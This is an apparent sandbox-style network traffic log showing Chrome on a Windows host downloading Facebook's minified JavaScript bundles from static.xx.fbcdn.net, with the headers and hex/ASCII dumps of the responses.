2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 22 3a 22 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 76 69 65 77 65 72 49 44 22 3a 22 30 22 2c 22 65 6c 69 67 69 62 6c 65 46 6f 72 50 72 6f 66 69 6c 65 50 6c 75 73 45 6e 74 69 74 79 4d 65 6e 75 22 3a 66 61 6c 73 65 2c 22 6e 75 6d 49 6e 69 74 69 61 6c 46 65 65 64 55 6e 69 74 73 22 3a 31 2c 22 73 65 6f 43 72 61 77 6c 69 6e 67 50 6f 6f 6c 22 3a 6e 75 6c 6c 2c 22 73 65 6f 47 72 6f 77 74 68 41 75 74 6f 6d 61 74 69 6f 6e 43 72 61 77 6c 69 6e 67 50 6f 6f 6c 22 3a 6e 75 6c 6c 2c 22 73 68 6f 75 6c 64 52 65 64 69 72 65 63 74 49 6e 73 74 65 61 64 4f 66 4c 6f 67 69 6e 50 6f 70 75 70 45 78 70 65 72 69 6d 65 6e 74 22 3a 66 61 6c 73 65 7d 2c 22 65 6e 74 72 79 50 6f 69 6e 74 22 3a 7b 22 5f 5f 64 72 22 3a 22 50 72 6f 66 69 6c 65 50 6c 75 73 43 6f 6d 65 74 4c 6f 67 67 65 Data Ascii: ":"bfjfinancial","viewerID":"0","eligibleForProfilePlusEntityMenu":false,"numInitialFeedUnits":1,"seoCrawlingPool":null,"seoGrowthAutomationCrawlingPool":null,"shouldRedirectInsteadOfLoginPopupExperiment":false},"entryPoint":{"__dr":"ProfilePlusCometLogge
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 65 54 79 70 65 22 3a 22 45 4e 55 4d 22 7d 2c 22 76 69 65 77 61 73 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 6d 75 6c 74 69 5f 70 65 72 6d 61 6c 69 6e 6b 73 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 73 68 6f 75 6c 64 5f 6f 70 65 6e 5f 63 6f 6d 70 6f 73 65 72 22 3a 7b 22 6c 65 67 61 63 Data Ascii: eType":"ENUM"},"viewas":{"legacyNames":[],"default":null,"path":false,"significant":true,"coercibleType":"STRING"},"multi_permalinks":{"legacyNames":[],"default":null,"path":false,"significant":true,"coercibleType":"STRING"},"should_open_composer":{"legac
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 73 74 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 45 58 49 53 54 53 22 7d 2c 22 73 68 6f 77 5f 69 6e 76 69 74 65 5f 74 6f 5f 66 6f 6c 6c 6f 77 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 45 58 49 53 54 53 22 7d 2c 22 73 68 6f 77 5f 73 77 69 74 63 68 65 64 5f 74 6f 6f 6c 74 69 70 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c Data Ascii: st":{"legacyNames":[],"default":false,"path":false,"significant":true,"coercibleType":"EXISTS"},"show_invite_to_follow":{"legacyNames":[],"default":false,"path":false,"significant":false,"coercibleType":"EXISTS"},"show_switched_tooltip":{"legacyNames":[],
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 34 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 Data Ascii: ue,"hash":null},"20939":{"result":true,"hash":null},"21043":{"result":false,"hash":null},"21074":{"result":false,"hash":null},"21075":{"result":false,"hash":null},"21076":{"result":true,"hash":null},"7742":{"result":false,"hash":null},"20936":{"result":tr
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 38 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 38 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 35 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 31 31 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 32 39 36 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 33 34 33 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 33 32 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 Data Ascii: se,"hash":null},"20987":{"result":false,"hash":null},"20988":{"result":true,"hash":null},"21059":{"result":false,"hash":null},"21117":{"result":false,"hash":null},"22968":{"result":false,"hash":null},"23433":{"result":false,"hash":null},"7329":{"result":f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49928	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	610	OUT	GET /rsrc.php/v3idM-4/yT/l/en_US/8W25DItpbDG.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: cp4HbsAms6InU7AYKITzXQ== Expires: Fri, 11 Apr 2025 03:36:23 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: GNzXF5UKSXo9BXQVMWQ9HPg8dzZRwvL1HuYmO9eGz96Ip9sMRoKztPPmxw7JEJXUjbUfyZwJEhSSUqn05cjnSw== Date: Thu, 11 Apr 2024 20:35:32 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 79963
2024-04-11 20:35:32 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:32 UTC	15483	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 45 6e 74 69 74 79 48 65 61 64 65 72 53 74 69 63 6b 79 42 6f 74 74 6f 6d 52 6f 77 5f 65 6e 74 69 74 79 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 45 6e 74 69 74 79 48 65 61 64 65 72 53 74 69 63 6b 79 42 6f 74 74 6f 6d 52 6f 77 5f 65 6e 74 69 74 79 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 Data Ascii: /FB_PKG_DELIM/__d("CometEntityHeaderStickyBottomRow_entity.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometEntityHeaderStickyBottomRow_entity",selections:[{alias:null,args:null,kind:"S
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 22 7d 5d 2c 74 79 70 65 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 6f 6e 49 6e 76 69 74 65 50 6f 73 74 52 65 61 63 74 6f 72 73 54 6f 46 6f 6c 6c 6f 77 48 61 6e 64 6c 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 54 72 69 67 67 65 72 5f 61 63 74 69 6f 6e 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 42 6f 6f 6b 4e 6f 77 48 61 6e 64 6c 65 72 5f 68 61 6e 64 6c 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 68 61 6e 64 6c 65 72 22 2c 6b 69 Data Ascii: "}],type:"ProfileActionInvitePostReactorsToFollowHandler",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometActionTrigger_action",fragmentName:"ProfileCometActionBookNowHandler_handler",fragmentPropName:"handler",ki
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 6f 6e 53 74 61 72 74 38 3a 7b 6d 61 72 67 69 6e 45 6e 64 3a 22 78 31 65 6d 72 69 62 78 22 2c 24 24 63 73 73 3a 21 30 7d 2c 70 72 65 73 73 61 62 6c 65 3a 7b 61 70 70 65 61 72 61 6e 63 65 3a 22 78 6a 79 73 6c 63 74 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 78 6a 62 71 62 38 77 22 2c 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 3a 22 78 31 38 6f 33 72 75 6f 22 2c 62 6f 72 64 65 72 54 6f 70 53 74 79 6c 65 3a 22 78 31 33 66 75 76 32 30 22 2c 62 6f 72 64 65 72 45 6e 64 53 74 79 6c 65 3a 22 78 75 33 6a 35 62 33 22 2c 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 79 6c 65 3a 22 78 31 71 30 71 38 6d 35 22 2c 62 6f 72 64 65 72 53 74 61 72 74 53 74 79 6c 65 3a 22 78 32 36 75 37 71 69 22 2c 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 3a 22 78 39 37 32 66 62 Data Ascii: onStart8:{marginEnd:"x1emribx",$$css:!0},pressable:{appearance:"xjyslct",backgroundColor:"xjbqb8w",backgroundImage:"x18o3ruo",borderTopStyle:"x13fuv20",borderEndStyle:"xu3j5b3",borderBottomStyle:"x1q0q8m5",borderStartStyle:"x26u7qi",borderTopWidth:"x972fb
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 69 66 28 21 74 68 69 73 2e 24 31 29 72 65 74 75 72 6e 3b 62 26 26 28 62 2e 6f 6e 45 72 72 6f 72 28 74 68 69 73 2e 70 72 6f 70 73 2e 6f 6e 45 72 72 6f 72 29 2e 6f 6e 52 65 70 65 61 74 45 6e 64 28 74 68 69 73 2e 70 72 6f 70 73 2e 6f 6e 52 65 70 65 61 74 45 6e 64 29 2e 6f 6e 50 72 6f 67 72 65 73 73 28 74 68 69 73 2e 70 72 6f 70 73 2e 6f 6e 50 72 6f 67 72 65 73 73 29 2e 73 65 74 53 74 61 72 74 41 74 28 74 68 69 73 2e 70 72 6f 70 73 2e 73 74 61 72 74 41 74 29 2e 73 65 74 45 6e 64 41 74 28 74 68 69 73 2e 70 72 6f 70 73 2e 65 6e 64 41 74 29 2e 72 65 70 65 61 74 43 6f 75 6e 74 28 74 68 69 73 2e 70 72 6f 70 73 2e 72 65 70 65 61 74 43 6f 75 6e 74 29 2c 74 68 69 73 2e 70 72 6f 70 73 2e 77 69 64 74 68 26 26 62 2e 73 65 74 57 69 64 74 68 28 74 68 69 73 2e 70 72 6f 70 Data Ascii: if(!this.$1)return;b&&(b.onError(this.props.onError).onRepeatEnd(this.props.onRepeatEnd).onProgress(this.props.onProgress).setStartAt(this.props.startAt).setEndAt(this.props.endAt).repeatCount(this.props.repeatCount),this.props.width&&b.setWidth(this.prop
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 36 74 71 6b 22 2c 73 74 61 72 74 3a 22 78 31 37 71 6f 70 68 65 22 2c 74 6f 70 3a 22 78 31 33 76 69 66 76 79 22 2c 74 6f 75 63 68 41 63 74 69 6f 6e 3a 22 78 31 6f 35 77 62 7a 34 22 2c 24 24 63 73 73 3a 21 30 7d 2c 64 72 61 67 49 6e 73 74 72 75 63 74 69 6f 6e 73 3a 7b 61 6c 69 67 6e 49 74 65 6d 73 3a 22 78 36 73 30 64 6e 34 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 78 31 38 6c 34 30 61 65 22 2c 62 6f 72 64 65 72 54 6f 70 53 74 61 72 74 52 61 64 69 75 73 3a 22 78 31 6c 71 35 77 67 66 22 2c 62 6f 72 64 65 72 54 6f 70 45 6e 64 52 61 64 69 75 73 3a 22 78 67 71 63 79 37 75 22 2c 62 6f 72 64 65 72 42 6f 74 74 6f 6d 45 6e 64 52 61 64 69 75 73 3a 22 78 33 30 6b 7a 6f 79 22 2c 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 61 72 74 52 61 64 69 75 73 3a 22 Data Ascii: 6tqk",start:"x17qophe",top:"x13vifvy",touchAction:"x1o5wbz4",$$css:!0},dragInstructions:{alignItems:"x6s0dn4",backgroundColor:"x18l40ae",borderTopStartRadius:"x1lq5wgf",borderTopEndRadius:"xgqcy7u",borderBottomEndRadius:"x30kzoy",borderBottomStartRadius:"
2024-04-11 20:35:32 UTC	13827	IN	Data Raw: 62 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 61 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 62 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 61 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 62 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 61 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 7d 3b 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 3b 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 63 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 3b 62 2e 61 64 64 45 Data Ascii: b.removeEventListener("mousewheel",a,{passive:!0}),b.removeEventListener("touchstart",a,{passive:!0}),b.removeEventListener("mousedown",a,{passive:!0})};b.addEventListener("mousewheel",c,{passive:!0});b.addEventListener("touchstart",c,{passive:!0});b.addE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49927	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	731	OUT	GET /rsrc.php/v3iacN4/yI/l/en_US/WtSigFewNab7KAIuQYQ2DRA37h4BaAlJ8gWh56eirsqvHLjfwTDbdf9s1JoHwtNCGoA5nPaj8nV1TFKK1IeoD-YrVg6MKwflxf-xsw_y3zVOBS5r1v89-9txasBrIEKskPYz.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: n3GbHZPJ0txUsE60dlrKQg== Expires: Fri, 11 Apr 2025 06:58:16 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: 18fF5cT2PoRUSwVTkUNriuWYZWlo/Gs2QUBkZaO6BsUCm1vYIjKibTgAppHUYA4Pbjae49AC7xlvWBmnQE5bKA== Date: Thu, 11 Apr 2024 20:35:32 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=86, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 185866
2024-04-11 20:35:32 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:32 UTC	15980	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 47 72 6f 75 70 73 43 6f 6d 65 74 4d 65 6d 62 65 72 50 72 6f 66 69 6c 65 4c 69 6e 6b 5f 67 72 6f 75 70 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 47 72 6f 75 70 73 43 6f 6d 65 74 4d 65 6d 62 65 72 50 72 6f 66 69 6c 65 4c 69 6e 6b 5f 67 72 6f 75 70 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 Data Ascii: /FB_PKG_DELIM/__d("GroupsCometMemberProfileLink_group.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"GroupsCometMemberProfileLink_group",selections:[{alias:null,args:null,kind:"ScalarField
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 7b 69 66 28 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 62 2e 69 6e 69 74 69 61 6c 69 7a 65 28 64 29 7d 2c 5b 62 5d 29 3b 72 65 74 75 72 6e 20 63 7d 62 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 62 2e 6e 61 6d 65 2b 22 20 5b 66 72 6f 6d 20 22 2b 66 2e 69 64 2b 22 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 76 61 72 20 62 3d 6a 28 6d 29 3b 6b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 62 2e 73 65 74 42 6f 74 74 6f 6d 52 6f 77 41 64 64 4f 6e 28 61 29 7d 2c 5b 61 2c 62 5d 29 7d 67 2e 56 69 64 65 6f 50 6c 61 79 65 72 43 6f 6e 74 72 6f 6c 73 42 6f 74 74 6f 6d 52 6f 77 41 64 64 4f 6e 43 6f 6e 74 65 78 74 3d 6d 3b 67 2e 56 69 64 65 6f 50 6c 61 79 65 72 43 6f 6e 74 72 6f 6c 73 42 6f 74 74 6f 6d 52 6f 77 41 64 64 Data Ascii: {if(b==null)return;b.initialize(d)},[b]);return c}b.displayName=b.name+" [from "+f.id+"]";function e(a){var b=j(m);k(function(){if(b==null)return;b.setBottomRowAddOn(a)},[a,b])}g.VideoPlayerControlsBottomRowAddOnContext=m;g.VideoPlayerControlsBottomRowAdd
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 65 74 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 31 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 73 65 74 49 6e 69 74 69 61 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 32 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 73 65 74 52 65 73 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 34 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 73 65 74 52 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 33 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 73 65 74 53 65 67 6d 65 6e 74 53 74 61 72 74 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 35 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b Data Ascii: etType=function(a){this.$1=a;return this};b.setInitiator=function(a){this.$2=a;return this};b.setResource=function(a){this.$4=a;return this};b.setRepresentationID=function(a){this.$3=a;return this};b.setSegmentStartTime=function(a){this.$5=a;return this};
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 65 74 75 72 6e 20 62 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 77 28 61 2c 62 29 7b 69 66 28 74 28 61 2c 62 29 29 72 65 74 75 72 6e 20 61 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 62 7d 66 2e 63 61 6d 6c 5f 69 6e 74 5f 63 6f 6d 70 61 72 65 3d 61 3b 66 2e 63 61 6d 6c 5f 62 6f 6f 6c 5f 63 6f 6d 70 61 72 65 3d 62 3b 66 2e 63 61 6d 6c 5f 66 6c 6f 61 74 5f 63 6f 6d 70 61 72 65 3d 63 3b 66 2e 63 61 6d 6c 5f 73 74 72 69 6e 67 5f 63 6f 6d 70 61 72 65 3d 64 3b 66 2e 63 61 6d 6c 5f 62 6f 6f 6c 5f 6d 69 6e 3d 65 3b 66 2e 63 61 6d 6c 5f 69 6e 74 5f 6d 69 6e 3d 67 3b 66 2e 63 61 6d 6c 5f 66 6c 6f 61 74 5f 6d 69 6e 3d 68 3b 66 2e 63 61 6d 6c 5f 73 74 72 69 6e 67 5f 6d 69 6e 3d 69 3b 66 2e 63 61 6d 6c 5f 69 6e 74 33 32 5f 6d 69 6e 3d 6a 3b 66 Data Ascii: eturn b;else return a}function w(a,b){if(t(a,b))return a;else return b}f.caml_int_compare=a;f.caml_bool_compare=b;f.caml_float_compare=c;f.caml_string_compare=d;f.caml_bool_min=e;f.caml_int_min=g;f.caml_float_min=h;f.caml_string_min=i;f.caml_int32_min=j;f
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 29 2e 6e 65 67 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 29 7b 72 65 74 75 72 6e 28 67 7c 7c 28 67 3d 62 28 22 62 73 5f 63 61 6d 6c 5f 69 6e 74 36 34 22 29 29 29 2e 78 6f 72 28 61 2c 67 2e 6e 65 67 5f 6f 6e 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 62 28 22 62 73 5f 63 61 6d 6c 5f 66 6f 72 6d 61 74 22 29 2e 63 61 6d 6c 5f 69 6e 74 36 34 5f 6f 66 5f 73 74 72 69 6e 67 28 61 29 7d 63 61 74 63 68 28 63 29 7b 61 3d 62 28 22 62 73 5f 63 61 6d 6c 5f 6a 73 5f 65 78 63 65 70 74 69 6f 6e 73 22 29 2e 69 6e 74 65 72 6e 61 6c 54 6f 4f 43 61 6d 6c 45 78 63 65 70 74 69 6f 6e 28 63 29 3b 69 66 28 61 2e 52 45 5f 45 58 4e 5f 49 44 3d 3d 3d 22 46 61 69 6c 75 72 65 22 29 72 65 74 75 72 6e 3b 74 68 72 6f 77 20 61 7d 7d 76 61 